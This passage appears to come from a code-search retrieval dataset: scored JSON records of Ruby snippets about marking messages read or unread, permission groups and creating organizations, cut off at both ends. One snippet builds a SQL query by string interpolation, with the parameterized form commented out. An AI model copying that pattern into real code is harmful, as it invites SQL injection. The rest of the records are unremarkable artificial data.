"30bd0b8eddf6d61bc9bfe019781e99a8", "score": "0.56229997", "text": "def unread!\n self.update_attribute(:status, UNREAD)\n end", "title": "" }, { "docid": "6850f7418860dcd59f617b2b7ba57aab", "score": "0.56102335", "text": "def unread\n un_read(false, \"non lue\")\n end", "title": "" }, { "docid": "efd4bca257da170bcb825086d80f890b", "score": "0.5608449", "text": "def mark_all_as_read(opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n {}\n \n )\n\n # resource path\n path = path_replace(\"/v1/conversations/mark_all_as_read\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:post, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:post, path, query_params, form_params, headers)\n page_params_store(:post, path)\n response\n \n end", "title": "" }, { "docid": "a0ed4c7de8b931e6396c34896fe0409b", "score": "0.5589743", "text": "def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end", "title": "" }, { "docid": "a0ed4c7de8b931e6396c34896fe0409b", "score": "0.5589743", "text": "def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end", "title": "" }, { "docid": "35ccf459a43291707bcc887fcbd8a04f", "score": "0.5583434", "text": "def show\n @message.mark_as_read(current_user)\n end", "title": "" }, { "docid": "52b9e5b0a48e52de671f14531a628aeb", "score": "0.5564623", "text": "def read_groups\n read_group_field = Hydra.config[:permissions][:read][:group]\n rg = edit_groups | ((@permissions_solr_document == nil || @permissions_solr_document.fetch(read_group_field,nil) == nil) ? [] : @permissions_solr_document.fetch(read_group_field,nil))\n logger.debug(\"read_groups: #{rg.inspect}\")\n return rg\n end", "title": "" }, { "docid": "95cd7db5facce0d2d9215d0c995f7929", "score": "0.5553702", "text": "def read_messages\n @useConversations = Message.where(\"user_id = (?)\", current_user.id).pluck(:conversation_id)\n if @useConversations.count > 0\n @useConversations = @useConversations.uniq # Unique\n @useConversations = @useConversations.map(&:inspect).join(', ')\n #@updatemsg = Message.where(\"user_id != (?) and conversation_id IN (?)\", current_user.id, @useConversations).update_all(:mark_as_read => true)\n @updatemsg = Message.where(\"user_id != #{current_user.id} and conversation_id in (#{@useConversations})\").update_all(:mark_as_read => true)\n session[:mark_messages] = 0 # Mark as read messages\n end\n end", "title": "" }, { "docid": "607e65b4387b8c3e239322e0ba516bf3", "score": "0.5551699", "text": "def unread_messages\n @user_wise_unread_messages = current_user.user_messages\n .where(is_read: false)\n .joins(:message)\n .group('messages.user_id').count\n end", "title": "" }, { "docid": "a28ce74594a580f4e1226815a13a2e57", "score": "0.5535509", "text": "def read\n @activities = PublicActivity::Activity.where(recipient_id: current_user.id, read: false).order(created_at: :desc)\n @activities.each do |act|\n act.read = true;\n act.save\n end\n end", "title": "" }, { "docid": "c4dbab0b11b76b5ca240af36e582a75a", "score": "0.5527922", "text": "def mark_read id\n logged_in?\n post('/api/read_message', body: {id: id, uh: @modhash, api_type: 'json'})\n end", "title": "" }, { "docid": "f385f4bba94b121ada7fb7997ab01cc3", "score": "0.5522423", "text": "def notification_groups_mark_as_read_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: NotificationGroupsApi.notification_groups_mark_as_read ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling NotificationGroupsApi.notification_groups_mark_as_read\"\n end\n # resource path\n local_var_path = '/notification_groups/{id}/mark_as_read'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-PhraseApp-OTP'] = opts[:'x_phrase_app_otp'] if !opts[:'x_phrase_app_otp'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'NotificationGroupDetail' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotificationGroupsApi#notification_groups_mark_as_read\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n response = ::Phrase::Response.new(data, headers)\n return response, status_code, headers\n end", "title": "" }, { "docid": "6c6b4b853d48caa9cb7ce28ae3a39664", "score": "0.5506209", "text": "def mark_as_unread\n post(\"/api/unread_message\", id: fullname)\n end", "title": "" }, { "docid": "88cc316358e65aaf5faeaff41b19149f", "score": "0.5497933", "text": "def set_rights_metadata\n self.edit_groups = ['Chronos-Pligtaflevering']\n self.read_groups = ['Chronos-Alle']\n self.discover_groups = ['Chronos-Alle']\n end", "title": "" }, { "docid": "43359e0ad3a17c33a05f694924ca74c9", "score": "0.5490829", "text": "def mark_as_unread(options = {})\n update_receipts({ is_read: false }, options)\n end", "title": "" }, { "docid": "5d11a17c2c4afa25527a8629aab9c00e", "score": "0.5485202", "text": "def set_notifications\n\t\t@notifications = Notification.where(reciever_id: current_user).order(\"created_at DESC\")\n\tend", "title": "" }, { "docid": "dfafd1225ae4007f4e6a87e05fba6b5f", "score": "0.5452777", "text": "def mark_read!\n self.read_at = Time.now\n self.save!\n end", "title": "" }, { "docid": "7f2085de1c1771ef779541a8f41746a6", "score": "0.5437398", "text": "def update\n #read or unread\n end", "title": "" }, { "docid": "3e7e805a063aeeae733623e3ce01bf20", "score": "0.5428598", "text": "def mark_as_unread(obj)\n case obj\n when Mailboxer::Receipt\n obj.mark_as_unread if obj.receiver == self\n when Mailboxer::Message, Mailboxer::Notification\n obj.mark_as_unread(self)\n when Mailboxer::Conversation\n obj.mark_as_unread(self)\n when Array\n obj.map{ |sub_obj| mark_as_unread(sub_obj) }\n end\n end", "title": "" }, { "docid": "3849beca3911fe683b72bb1fe9e4786b", "score": "0.54270166", "text": "def mark_as_read(participant)\n return unless participant\n self.receipts.recipient(participant).mark_as_read\n end", "title": "" }, { "docid": "30af6be8ebd00475d83f1938931e349d", "score": "0.5416179", "text": "def remove_read_group\n if media_object && media_object.read_groups.include?(self.token)\n media_object.read_groups -= [self.token]\n media_object.save!\n end\n end", "title": "" }, { "docid": "dd9aa0f0af0265a397aa70cf84949629", "score": "0.53893036", "text": "def reset_permissions_for(item)\n item.edit_groups = []\n item.edit_users = []\n item.read_groups = []\n item.read_users = []\n end", "title": "" }, { "docid": "2875a2f89288a3f0f716d063fdaa18b7", "score": "0.53888786", "text": "def tag_as_read(user)\n self.read = true\n self.save\n self.answers.each do |a|\n a.read = true unless a.user_id.eql? user.id #we don't to tag as read his answers\n a.save\n end\n end", "title": "" }, { "docid": "75fbe21113af9f756e213f53e1ea1b25", "score": "0.538697", "text": "def notify_user_acl_modified(user_ids)\n Cache::Album::Manager.shared.user_albums_acl_modified(user_ids)\n end", "title": "" }, { "docid": "e24656f3a78356704accc0e10bb801df", "score": "0.5385525", "text": "def set_unread_message_count\n self.unread_messages = 1\n end", "title": "" }, { "docid": "cfaf8e08711672408a7aa66e03f9f4d3", "score": "0.53717417", "text": "def mark_as_read=(value)\n @mark_as_read = value\n end", "title": "" }, { "docid": "42a08c27f8f31cbf67e78eaf2d3982e8", "score": "0.5356177", "text": "def index\n\t\t@notifications = Notification.where(recipient_id: current_user.id).unread\n\tend", "title": "" }, { "docid": "3d77378c1ebb679fef1c1d0a37e0ae57", "score": "0.53363764", "text": "def public_write_was\n writer_group_ids == [UserGroup.all_users.id]\n end", "title": "" }, { "docid": "3e31733b0e198ee7fdb46799053f3db4", "score": "0.5336115", "text": "def markMail(imap, folder)\n pp \"MARKED #{folder}..\"\n message_ids = imap.uid_search(\"ALL\")\n imap.uid_store(message_ids, \"+FLAGS\", [:Seen])\n imap.expunge\nend", "title": "" }, { "docid": "1d0de52c88bbb8a371f3d33f8fa758e3", "score": "0.53328794", "text": "def set_unread_state\n self.feed.users.reload.find_each do |user|\n if !EntryState.exists? user_id: user.id, entry_id: self.id\n entry_state = user.entry_states.create! entry_id: self.id, read: false\n end\n end\n end", "title": "" }, { "docid": "88c91371f14009c478902b9d816d9b42", "score": "0.53195024", "text": "def mark_as_read(participant)\n return unless participant\n receipts_for(participant).mark_as_read\n end", "title": "" }, { "docid": "2ab3d5e16a5a30a80510d7ab6a630598", "score": "0.5296557", "text": "def mark_topic_as_read_groups(group_id,topic_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"group_id is required\" if group_id.nil?\n raise \"topic_id is required\" if topic_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :group_id => group_id,\n :topic_id => topic_id\n )\n\n # resource path\n path = path_replace(\"/v1/groups/{group_id}/discussion_topics/{topic_id}/read\",\n :group_id => group_id,\n :topic_id => topic_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n response\n \n end", "title": "" }, { "docid": "832063f7ff943dcd6074b61efae6d378", "score": "0.5288112", "text": "def mark_as_read(time=Time.now)\n unless read?\n self.recipient_read_at = time\n save!\n end\n end", "title": "" }, { "docid": "7f8140c43e82a9875c9fe458e29e83b0", "score": "0.5286896", "text": "def unread_unsent_notifications_for_group\n @unread_unsent_notifications_for_group ||= unread_unsent_notifications.where('notify_user_notifications.group_id = ?', notification.group_id)\n end", "title": "" }, { "docid": "e21435afa3fea7420b639a9a059ea0cc", "score": "0.5286434", "text": "def mark_unread id\n logged_in?\n post('/api/unread_message', body: {id: id, uh: @modhash, api_type: 'json'})\n end", "title": "" }, { "docid": "c0deb63de2f0ed59c6f60921f8682e7c", "score": "0.52796686", "text": "def unread_messages\n current_user.messages_in.where(read: false).count\n end", "title": "" }, { "docid": "e6f28d6bd3ebba4351df96de052e2f10", "score": "0.52788", "text": "def mark_as_read(obj, details = nil)\n case obj\n when Alerter::Receipt\n obj.mark_as_read if obj.receiver == self\n when Alerter::Message\n obj.mark_as_read(self)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj) }\n end\n\n end", "title": "" }, { "docid": "7722a3f5dc6272ae03fe902ef2dbc05e", "score": "0.5278425", "text": "def mark_as_read(obj, details = nil)\n case obj\n when Alerter::Receipt\n obj.mark_as_read if obj.receiver == self\n when Alerter::Message\n obj.mark_as_read(self, details)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj, details) }\n end\n\n end", "title": "" }, { "docid": "398234221fd05cc26a3da0faac278aff", "score": "0.52748257", "text": "def mark_topic_as_unread_groups(group_id,topic_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"group_id is required\" if group_id.nil?\n raise \"topic_id is required\" if topic_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :group_id => group_id,\n :topic_id => topic_id\n )\n\n # resource path\n path = path_replace(\"/v1/groups/{group_id}/discussion_topics/{topic_id}/read\",\n :group_id => group_id,\n :topic_id => topic_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:delete, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:delete, path, query_params, form_params, headers)\n page_params_store(:delete, path)\n response\n \n end", "title": "" } ]
81e90a6093f723b9030cd7cbf21ddc48
POST /organizations POST /organizations.xml
[ { "docid": "cd52eaafe54f4430b81add6958395bd2", "score": "0.5535099", "text": "def create\n @organization = Organization.new(params[:organization])\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @organization.valid? && @user.valid? && @organization.save && @user.save\n @user.has_role 'manager', @organization\n self.current_user = @user\n flash[:notice] = 'Organization was successfully created.'\n format.html { redirect_to @organization }\n format.xml { render :xml => @organization, :status => :created, :location => @organization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "4a75897f5755e5ca1f3989798e5b355c", "score": "0.6748992", "text": "def CreateOrganization params = {}\n \n APICall(path: 'organizations.json',method: 'POST',payload: params.to_json)\n \n end", "title": "" }, { "docid": "599e803a1868b05d448f30812559ca28", "score": "0.6563119", "text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n flash[:notice] = 'Organization was successfully created.'\n format.html { redirect_to(@organization) }\n format.xml { render :xml => @organization, :status => :created, :location => @organization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6856516acfa78c98689405cb796827f7", "score": "0.64238346", "text": "def create\n @organization.save\n respond_with(@organization)\n end", "title": "" }, { "docid": "abf6c23654167535f3ba886f613bb95f", "score": "0.6416285", "text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to admin_organizations_path, notice: \"Organization #{@organization.name} was successfully created.\" }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e151b53bcbdb935da2253cba398d7259", "score": "0.6378604", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n # create an associated Org_user\n @org_user = OrgUser.new\n @org_user.organization_id = @organization.id\n @org_user.user_id = current_user.id\n @org_user.save\n\n # On default create a membership to the OrgUser/Admin/person_that_created_the_org\n @membership = Membership.new\n @membership.individual_id = current_user.individual.id\n @membership.organization_id = @organization.id\n @membership.save\n\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8e7da6a7ac854fec2f1f0f058c36912", "score": "0.63579804", "text": "def create\n @admins_organization = Organization.new(admins_organization_params)\n\n respond_to do |format|\n if @admins_organization.save\n format.html { redirect_to @admins_organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @admins_organization }\n else\n format.html { render :new }\n format.json { render json: @admins_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6abb893415ee47d056b4bf5f2e0de557", "score": "0.6351761", "text": "def create\n @organization = Organization.new(organization_params)\n @organization.access_token = ('a'..'z').to_a.shuffle[0,32].join\n\n respond_to do |format|\n if @organization.save\n OrganizationMembership.create(user_id: current_user.id, organization_id: @organization.id, admin: true)\n params[:departments].each do |d_id|\n DepartmentEntry.create(context: @organization, department_id: d_id)\n end\n format.html { redirect_to :dashboard, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d173ae2d7c07af05f36505f0f1f781b", "score": "0.63259196", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d173ae2d7c07af05f36505f0f1f781b", "score": "0.63259196", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d173ae2d7c07af05f36505f0f1f781b", "score": "0.63259196", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d173ae2d7c07af05f36505f0f1f781b", "score": "0.63259196", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14bd8b95d131e0d1bbc7646a8f93ace6", "score": "0.6314426", "text": "def create\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save\n format.html { redirect_to organization_path(@organization), notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f7c0cea00314ff17b90cdc0b924361c", "score": "0.62655175", "text": "def create\r\n @org = Org.new(params[:org])\r\n\r\n respond_to do |format|\r\n if @org.save\r\n format.html { redirect_to @org, notice: 'Org was successfully created.' }\r\n format.json { render json: @org, status: :created, location: @org }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @org.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "35f26202b036a0f3222307be1b91abd7", "score": "0.6252547", "text": "def create\n @people_organization = PeopleOrganization.new(people_organization_params)\n\n respond_to do |format|\n if @people_organization.save\n format.html { redirect_to @people_organization, notice: 'People organization was successfully created.' }\n format.json { render :show, status: :created, location: @people_organization }\n else\n format.html { render :new }\n format.json { render json: @people_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6acfa35c7ab31dc45de64d7f0ac1d2d2", "score": "0.62412155", "text": "def create\n\t\t@organization = Organization.new(params[:organization])\n\n\t\trespond_to do |format|\n\t\t\tif @organization.save\n\t\t\t\tformat.html { redirect_to(@organization, :notice => 'Organization was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @organization, :status => :created, :location => @organization }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "425e94435a3770e34679a5d9a7ad6a32", "score": "0.62283677", "text": "def create\n @participating_organization = ParticipatingOrganization.new(params[:participating_organization])\n\n respond_to do |format|\n if @participating_organization.save\n format.html { redirect_to(participating_organizations_path, :notice => 'Participating Organization was successfully created.') }\n format.xml { render :xml => @participating_organization, :status => :created, :location => @participating_organization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @participating_organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a3c6918f54945f8e1dd9a3a125b9690", "score": "0.6225709", "text": "def create\n @organization = Spree::Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Spree::Organization was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4e1b85c3b8aea8347572797e0212c28", "score": "0.61955965", "text": "def create\n @organization = Organization.new(organization_params)\n\n if @organization.save\n render :show, status: :created, location: @organization\n else\n render json: @organization.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "276a30d2bcd4e506fff7024160e2299f", "score": "0.61941737", "text": "def create\n @organisation = Organisation.new(params[:organisation])\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to(locations_url, :notice => \"#{@organisation.to_s} was successfully created.\") }\n format.xml { render :xml => @organisation, :status => :created, :location => @organisation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organisation.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e3c23793ccb3d4e4b3dab35ce703fcc", "score": "0.6170444", "text": "def create\n respond_to do |format|\n if @organization.save\n @organization.registrations << @registration if @registration\n flash[:notice] = 'Organization was successfully created.'\n format.html { redirect_to(@organization) }\n format.xml { render :xml => @organization, :status => :created, :location => @organization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54fbef6431f9af71eaa21bef8b2cbbb3", "score": "0.6159907", "text": "def create\n @organization = current_user.build_organization(organization_params)\n respond_to do |format|\n if @organization.save\n format.html { redirect_to root_path, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00b03fc11eba206fefe2b7e91d880f3f", "score": "0.6158256", "text": "def create\n @org = authed_user.orgs.build(org_params)\n\n respond_to do |format|\n if @org.save\n format.html { redirect_to @org, notice: 'Org was successfully created.' }\n format.json { render :show, status: :created, location: @org }\n else\n format.html { render :new }\n format.json { render json: @org.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be59ba6df09d2b58477bd12b9b1a503a", "score": "0.6079824", "text": "def create\n @organization_membershipship = current_person.organization_memberships.new(:organization_id => params[:organization_id])\n\n respond_to do |format|\n if @organization_membershipship.save\n format.html do \n @org = @organization_membershipship.organization \n if @org.root.requires_validation?\n case @org.root.validation_method\n when 'relay'\n redirect_to('https://signin.ccci.org/cas/login?service=' + validate_person_organization_membership_url(current_person, @organization_membershipship))\n end\n else\n redirect_to(session[:return_to].present? ? session[:return_to] : :back, :notice => 'Organization membership was successfully created.') \n end\n end\n format.xml { render :xml => @organization_membershipship, :status => :created, :location => @organization_membershipship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization_membershipship.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac6e2aca9a1727ceb2f826802f00e7b2", "score": "0.6053594", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0860fa2488e9444a3eb30b75c915c98", "score": "0.6048878", "text": "def create\n @user_organization = UserOrganization.new(user_organization_params)\n\n respond_to do |format|\n if @user_organization.save\n format.html { redirect_to @user_organization, notice: 'User organization was successfully created.' }\n format.json { render :show, status: :created, location: @user_organization }\n else\n format.html { render :new }\n format.json { render json: @user_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b85755f407f4cc7e744c9637120590a", "score": "0.6027129", "text": "def create\n @organization = Organization.new(organization_params)\n @organization.assignments << Assignment.new({user: current_user, organization: @organization, is_admin: true, is_active: true})\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8640eccc3a8eeaceb21c95ada31d641c", "score": "0.60187894", "text": "def create\n @organisation = Organisation.new(organisation_params)\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to @organisation, notice: 'Organisation was successfully created.' }\n format.json { render :show, status: :created, location: @organisation }\n else\n format.html { render :new }\n format.json { render json: @organisation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aeac9d6bcabc27e8bed9e8b0d30b95d4", "score": "0.5971751", "text": "def post(organization_form)\n HttpClient::Preconditions.assert_class('organization_form', organization_form, Apidoc::Models::OrganizationForm)\n @client.request(\"/organizations\").with_json(organization_form.to_json).post { |hash| Apidoc::Models::Organization.new(hash) }\n end", "title": "" }, { "docid": "c653530c09c1b9ce2245f70a0c77d5e7", "score": "0.5960785", "text": "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to new_project_path, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n @organization.memberships.create(user_id: current_user.id)\n organization_info = {\n pretext: \"A new organization has been created.\",\n fallback: \"#{@organization.name}: #{@organization.description}\",\n title: \"#{@organization.name}\",\n title_link: \"#{organization_url(@organization)}\",\n text: \"#{@organization.description}\",\n color: \"#BDD6DD\",\n }\n PROJECT501_NOTIFIER.ping(attachments: [organization_info])\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd3d8fc8defe5974b331dc23faec42d1", "score": "0.59521955", "text": "def create\n @organ = Organ.new(params[:organ])\n\n respond_to do |format|\n if @organ.save\n format.html { redirect_to(@organ, :notice => 'Organ was successfully created.') }\n format.xml { render :xml => @organ, :status => :created, :location => @organ }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organ.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3ffbc6341a4de43c77ea9fad90265d5", "score": "0.5941951", "text": "def create\n @organization_membership = OrganizationMembership.new(organization_membership_create_params)\n # authorize @organization_membership\n\n if @organization_membership.save\n render json: @organization_membership, status: :created, location: nil\n else\n render json: @organization_membership.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "06763003b65fef84e50b8a0c6a5b8050", "score": "0.59392244", "text": "def create\n @address = Address.create!(params[:address])\n @organization = Organization.new(params[:organization])\n @organization.address = @address\n \n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36691a0b87d8f3cb7f143b0b0a9875c2", "score": "0.59346795", "text": "def create\n @organization_detail = OrganizationDetail.new(params[:organization_detail])\n\n respond_to do |format|\n if @organization_detail.save\n format.html { redirect_to(@organization_detail, :notice => 'OrganizationDetail was successfully created.') }\n format.xml { render :xml => @organization_detail, :status => :created, :location => @organization_detail }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization_detail.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f29a638e2992f663301f1dd9a8b243df", "score": "0.59270453", "text": "def create\n params[:organization][:tag_ids] ||= []\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n flash[:notice] = t(\"organization.success_created\")\n format.html { redirect_to(@organization) }\n else\n @tag = Tag.new\n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" }, { "docid": "64fcfd799ee16aff1a4de39ee5e9a6a1", "score": "0.5917812", "text": "def create\n @organization = current_user.organizations.build(params[:organization])\n if @organization.save\n redirect_to @organization, :flash => { :success => \"Profile created!\" }\n else\n render 'pages/home'\n end\n end", "title": "" }, { "docid": "98d840687c369e81f35acda3e43ddc7c", "score": "0.5911056", "text": "def create\n @organization = Organization.new(org_params)\n if @organization.save\n redirect_to :root, notice: 'You have signed up successfully but your account has not been approved.'\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "786280a71e5f7a9ea34c8dc9072de71a", "score": "0.59053874", "text": "def create\n @sourcing_org = SourcingOrg.new(sourcing_org_params)\n\n respond_to do |format|\n if @sourcing_org.save\n format.html { redirect_to @sourcing_org, notice: 'Sourcing org was successfully created.' }\n format.json { render :show, status: :created, location: @sourcing_org }\n else\n format.html { render :new }\n format.json { render json: @sourcing_org.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0824b807ef4983f3351b757f1384c98b", "score": "0.59016514", "text": "def new\n @organizations = Organization.find(:all)\n @organization_user = OrganizationUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization_user }\n end\n end", "title": "" }, { "docid": "0bcbf20991a6d1b86903458dd8db9029", "score": "0.59014124", "text": "def create\n @organization_status = OrganizationStatus.new(create_organization_status_params)\n @organization_status.participant = Current.user\n @organization_status.save\n respond_with @organization_status, location: -> { @organization_status.organization }\n end", "title": "" }, { "docid": "ce08b228b1632a5c467b620144ae8783", "score": "0.58889365", "text": "def create\n @external_organization = ExternalOrganization.new(params[:external_organization])\n\n respond_to do |format|\n if @external_organization.save\n format.html { redirect_to @external_organization, notice: 'External organization was successfully created.' }\n format.json { render json: @external_organization, status: :created, location: @external_organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @external_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cbf07157086b34500614300921d4e8d", "score": "0.58798414", "text": "def create\n @partnering_organization = PartneringOrganization.new(partnering_organization_params)\n respond_to do |format|\n if @partnering_organization.save\n format.html { redirect_to @partnering_organization, notice: 'Partnering organization was successfully created.' }\n format.json { render :show, status: :created, location: @partnering_organization }\n else\n format.html { render :new }\n format.json { render json: @partnering_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "895b2202a21d22e82385e8f0ddaba643", "score": "0.58780485", "text": "def create\n @partnering_organization = PartneringOrganization.new(partnering_organization_params)\n\n respond_to do |format|\n if @partnering_organization.save\n format.html { redirect_to @partnering_organization, notice: 'Partnering organization was successfully created.' }\n format.json { render :show, status: :created, location: @partnering_organization }\n 